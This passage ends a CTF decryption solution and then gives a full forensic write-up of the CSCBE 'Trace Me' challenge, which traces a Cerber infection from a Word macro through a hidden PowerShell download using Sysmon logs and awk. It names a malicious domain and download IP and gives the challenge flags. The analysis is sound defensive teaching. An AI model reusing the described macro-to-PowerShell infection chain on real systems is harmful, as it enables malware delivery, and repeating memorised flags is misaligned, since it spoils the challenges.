    uint32_t k[] = { 0x5065726c, 0x5f31735f, 0x416d617a, 0x696e6721 }; /* Original key: Perl_1s_Amazing! */
    uint32_t k0[] = { 0x78725752, 0x85c742da, 0x78725752, 0x85c742da }; /* c0 . c0 */
    uint32_t k1[] = { 0x15c67079, 0x8094a00b, 0x15c67079, 0x8094a00b }; /* c1 . c1 */
    uint32_t k2[] = { 0x54f08c6b, 0x937ed1f2, 0x54f08c6b, 0x937ed1f2 }; /* c2 . c2 */

    /* Decrypting the chunks */
    decrypt(c0,k);
    decrypt(c1,k0);
    decrypt(c2,k1);
    decrypt(c3,k2);
}
$ gcc --std=c99 solution.c
$ ./a.out
43534342457b5065726c31735772317465306e6365526534646e33766552727d
$ ./a.out | perl -nle 'print pack("H*", $_)'
&gt;&gt;&gt; CSCBE{Perl1sWr1te0nceRe4dn3veRr}

There we go! CSCBE{Perl1sWr1te0nceRe4dn3veRr} was the flag.

CSCBE Challenge Write-up – Trace Me

This is the first post in a series of write-ups on some of the challenges that were tackled by students during our Cyber Security Challenge Belgium this month.

Credits

All challenges of the Cyber Security Challenge Belgium are created by security professionals from many different organisations. The TraceMe challenge in particular was created by Vasileios Friligkos, one of our distinguished challenge contributors.

The challenge

At your day job, per your recommendation and after many requests, you recently activated host based monitoring using Sysmon.

Perfect! You are now going to have a visibility on each host of your IT system giving you perfect awareness and detection capabilities that will be able to thwart even the most persistent attackers…
Before you can finish your thoughts, you get interrupted by a phone call:
“Steve”, (yes, this is you) says an irritated voice on the other side of the line.
– “Yes…”, replies Steve (yep, still you).
“Your awesome monitoring system did not work, we got an infection.”
– “But there are no detection rules implemented yet, it’s normal that we didn’t… “, you start explaining when you get interrupted.
“At least, tell me you can identify how the infection occurred!”
Eh, yes sure I can…

And by that, the irritated voice (who by the way is your boss) hangs up and sends you one file with the Sysmon log data of the infected host.

Can you identify the benign (non malicious) process that was abused and was ultimately responsible for the infection?
Can you also identify the IP from where the second stage was downloaded (the first connection made by the malware)?

If so, you will be able to save your reputation and also get the points for this challenge by submitting the SHA1 of the abused, benign process (Uppercase) + the IP where the second stage is hosted.

Good luck Steve!

The solution

Evtx is the Windows event file format which makes sense since Sysmon writes to the “Applications and Services Logs/Microsoft/Windows/Sysmon/Operational” event folder as indicated here: https://technet.microsoft.com/en-us/sysinternals/sysmon

There are many ways to start interacting with these events, there is even an official Windows log parser that can query event log data.
If we go this way, we have to download the LogParser and run the following command to extract all logs in csv format:

$> LogParser.exe -i:EVT -o:csv "SELECT * from sysmon.evtx" > sysmon.csv

This gives us a .csv file with 3.021 log lines of different sizes and types.
By checking the description of Sysmon on the MS site we see that the following types of events can be logged:

  • Event ID 1: Process creation
  • Event ID 2: A process changed a file creation time
  • Event ID 3: Network connection
  • Event ID 4: Sysmon service state changed
  • Event ID 5: Process terminated
  • Event ID 6: Driver loaded
  • Event ID 7: Image loaded
  • Event ID 8: CreateRemoteThread
  • Event ID 9: RawAccessRead
  • Event ID 10: ProcessAccess
  • Event ID 11: FileCreate
  • Event ID 12: RegistryEvent (Object create and delete)
  • Event ID 13: RegistryEvent (Value Set)
  • Event ID 14: RegistryEvent (Key and Value Rename)
  • Event ID 15: FileCreateStreamHash
  • Event ID 255: Error

Ok, many interesting events that we could use. In the file, we see that we have events of the following types 1, 2, 3, 5 and 6.
Since we do not have any initial information to start investigating and then pivot until the initial infection, we need to search for abnormal or at least unusual behaviour.

For example, we see that we have only one event ID 6 but by investigating the name of the driver and its SHA we realise that it concerns a legitimate driver.

Since there are not so many logs, we could use excel to try and make some sense by colouring for example the log lines based on the event id.

image1
If we zoom out and simply scroll over the logs, we see that there is a very important network activity at some moment:

image2

By simply investigating, we see that there are many UDP requests to port 6892 by a “roaming.exe” process found in “C:\Users\TestPC\AppData\” and with destination adjacent IPs in the same subnet:

image3

This looks surely suspicious and we could take this lead for our investigation but let’s say that we don’t go this way (Steve doesn’t like excel) and we prefer to put our ninja awk skills into use!

Some parsing is necessary since the comma is a field separator but also found inside the fields and there is much useless information that we can dump.
In this case, let’s choose to substitute the field separator by the pipe ( “|” ) in order to be able to use awk easily, let’s also separate the process creation events (event id 1 – file sysmon_process_creation.csv) and the connections events (event id 3 – file sysmon_connections.csv).

For process creation, we keep the following fields:

EventID|PID|Process|Command|Directory|User|SHA1|PPID|ParentProcess|ParentProcessCommand

Let’s filter the data and search for some unusual execution locations or uncommon process names:

awk -F "|" '{ print "Process:"$3 }' sysmon_process_creation.csv | sort | uniq -c | sort -rn

image4

We see two executables from the %AppData% directory:

  • “Roaming.ExE”
  • “OneDrive.exe”

We can pull their SHA1’s and check online whether they are legitimate. Doing so does not reveal clearly if any of them is malicious.

If we try to see the parent processes:

  • “Roaming.ExE” -> powershell and roaming.exe
  • “OneDrive.exe” -> explorer

Hmm, powershell could be something worth investigating, let’s show also the parent process full command:

image5

Ok, this surely looks bad: powershell launched a hidden download of an executable which was also executed at the end of the command.
So, at last, we have our investigation lead: roaming.exe

For information, we could have used the connections log file to help us spot outliers.
By sorting and counting unique occurrences (similar as for process creation logs) of processes and target IPs we do not have a clear result because we have too many chrome.exe processes reaching to multiple IPs

awk -F "|" '{ printf "Process: %-90s DST:%s:%s\n",$3,$13,$15 }' sysmon_connections.csv | sort | uniq -c | sort -rn

image6

But if we ignore the destination IP and focus only on the destination port, then we should have a clearer view:

awk -F "|" '{ printf "Process: %-90s DST_Port:%s\n",$3,$15 }' sysmon_connections.csv | sort | uniq -c | sort -rn

image7

Roaming.exe communicated 1.088 times over port 6892 (on UDP) which when looking online directly leads to Cerber malware.

In both cases, we have roaming.exe which looks malicious and by following its parent process PID we can trace the activities and the initial infection:

  • Roaming.exe PID: 1868 was created by powershell.exe PID: 2076
  • Powershell.exe PID: 2096 was created by cmd.exe PID: 2152

(We notice that there are two processes with the same PID: 2152 – “cmd.exe” and “Acrobat Reader DC\Reader\reader_sl.exe”; keep in mind that PID’s can be reused)

  • Cmd.exe PID: 2152 was created by winword.exe PID: 2232

The parent of winword.exe is explorer.exe which is legitimate and therefore, we can deduce that winword.exe was abused (probably by a macro) and resulted in executing a cmd.exe command that launched a powershell command to fetch the second stage malware (probably cerber according to OSINT).

Therefore, the first part to the solution is the SHA1 of winword.exe:

  • CE3538D04AB531F0526C4C6B1917A7BE6FF59938

For the second part, we need to identify the IP of the site from which the second stage was downloaded.
From the powershell command we know that the URL is: footarepu[.]top but instead of resolving the domain name (since it might have changed since the infection), we can find the IP in the sysmon_connections.csv since we have the PID and process name of all the connections.
Searching for powershell.exe PID: 2076 we find one contacted IP over port 80:

  • 35.165.86.173

which is the second part of the solution.

Flag: CE3538D04AB531F0526C4C6B1917A7BE6FF59938_35.165.86.173

Good job Steve!